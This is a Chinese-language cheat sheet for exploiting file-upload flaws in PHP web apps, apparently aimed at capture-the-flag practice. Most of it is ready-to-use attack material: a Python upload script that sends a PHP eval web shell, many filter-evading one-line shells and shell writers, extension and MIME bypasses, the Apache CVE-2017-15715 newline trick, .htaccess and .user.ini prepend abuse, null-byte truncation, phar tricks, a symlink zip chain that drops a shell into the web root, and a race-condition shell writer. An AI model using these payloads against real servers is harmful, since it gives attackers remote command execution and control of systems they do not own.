前端检测

屏蔽 js 脚本,或者用 python 直接上传
python 上传模版

py
import requests

url = "http://127.0.0.1:100/upload.php"
file_content = "<?php eval($_POST[1]);?>"
filename = "a.php"
mime_type = "image/png"
file = {"file": (filename, file_content,mime_type)}
response = requests.post(url, files=file)
print(response.text)

或者按它的格式上传,在抓包时修改文件后缀

检测 MIME_TYPE

修改 Content-Type
jpg/png/gif: image/jpeg(png/gif)
zip: application/zip
在文件开头加 GIF89a 可绕过 getimagesize()

php 一句话

php
一般一句话
<?php eval($_POST['cmd']);?>
过滤php
<?= eval($_POST['cmd']);?>
过滤<?
<script language="php">eval($_POST['cmd']);</script>
php开启短标签时
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
过滤[]
<?php fputs(fopen('shell.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));?>

写马:
<?php file_put_contents("shell.php","<?=eval(\$_POST['cmd']);?>");?>
<?php fwrite(fopen('z23.php','a'),'<?php phpinfo(); ?>');
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
最短一句话
<?=`nl /*`;

黑名单绕过

php 后缀绕过

pht,phpt,phps,phtml,php1,php2,php3,php4,php5,php7 都能解释为 php

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
在上传文件的name参数后加url解码后的\x0A之后访问xxx.php%0A即可。

.htaccess

两种方法

  1. 替换后缀

    AddType application/x-httpd-php .jpg
    

    将 jpg 文件当作 php 文件解析

    SetHandler application/x-httpd-php
    

    将当前所有文件当作 php 文件解析

    先上传.htaccess 提交
    再上传 shell.jpg,直接访问 shell.jpg,服务器会识别为 php 文件

  2. 直接在开头/结尾写 php 文件,在适用于当前页面存在 php 文件
    auto_prepend_file=a.jpg //在页面顶部加载文件
    auto_append_file=a.jpg //在页面底部加载文件
    url 传参

    ?content=php_value+auto_prepend_fi\%0Ale+.htaccess%0A%23<?=(`ls+/`);?>%0A%23\
    

    如果被过滤在过滤词中间加%0A 使用换行绕过
    上传文件直接写

plaintext
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();?>
#\
#是单行注释符号
#\用于注释后面添加的字符
#被过滤可以使用\x00

#define width 1337
#define height 1337
用WEBP格式对getimagesize和exif_imagetype进行绕过

.user.ini

  • 如果 index.php 不在当前目录下,.user.ini 不生效

直接在开头/结尾写 php 文件

  auto_prepend_file=a.jpg //在页面顶部加载文件
  auto_append_file=a.jpg //在页面底部加载文件
  在a.jpg末尾写一句话就行
  访问url/upload

文件名绕过

%00 绕过

构造类似 a.php%00.jpg,将%00 url 解码
PHP 版本小于 5.3.4 时,利用%00(结束符)来截断文件后缀名,%00 后的字符会被自动删除

在后面加.或/.

php.
有些服务器会直接忽略后面的点,导致绕过黑名单

使用 zip 文件特性

将 shell.php 压缩,修改后缀为 1.jpg,上传
如果存在读取参数?file=,可以使用 phar 读取
phar://./upload/1.jpg/shell.php
过滤不严可以用 file://和 php://filter 伪协议直接尝试读取 flag

CISCN2023-unzip

利用软连接,进行目录穿越,将文件上传到任意目录

sh
cd /var
mkdir test
cd test
ln -s /var/www/html link
zip --symlinks exp1.zip link
rm -rf link
mkdir link
cd link
echo '<?php eval($_POST[1]);phpinfo();?>' > shell.php
cd ../
zip -r exp2.zip link/

上传 exp1.zip,exp2.zip,服务器解压时把 shell.php 解压到/var/www/html。实现 getshell。

文件内容无字母

参考我的 RCE 各种 RCE 绕过
把开头的?>去掉就可以用于文件上传,不要 url 编码

条件竞争

有些上传题允许上传 php 脚本,但会很快删除,我们只用构造一个生成 php 马的 php 文件不停上传这个 php 文件并访问,只要成功执行就能传马。

a.php

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

用 burp intruder,payload 选 null payload 无限,一个上传 a.php,一个读取 a.php。就能传上 shell.php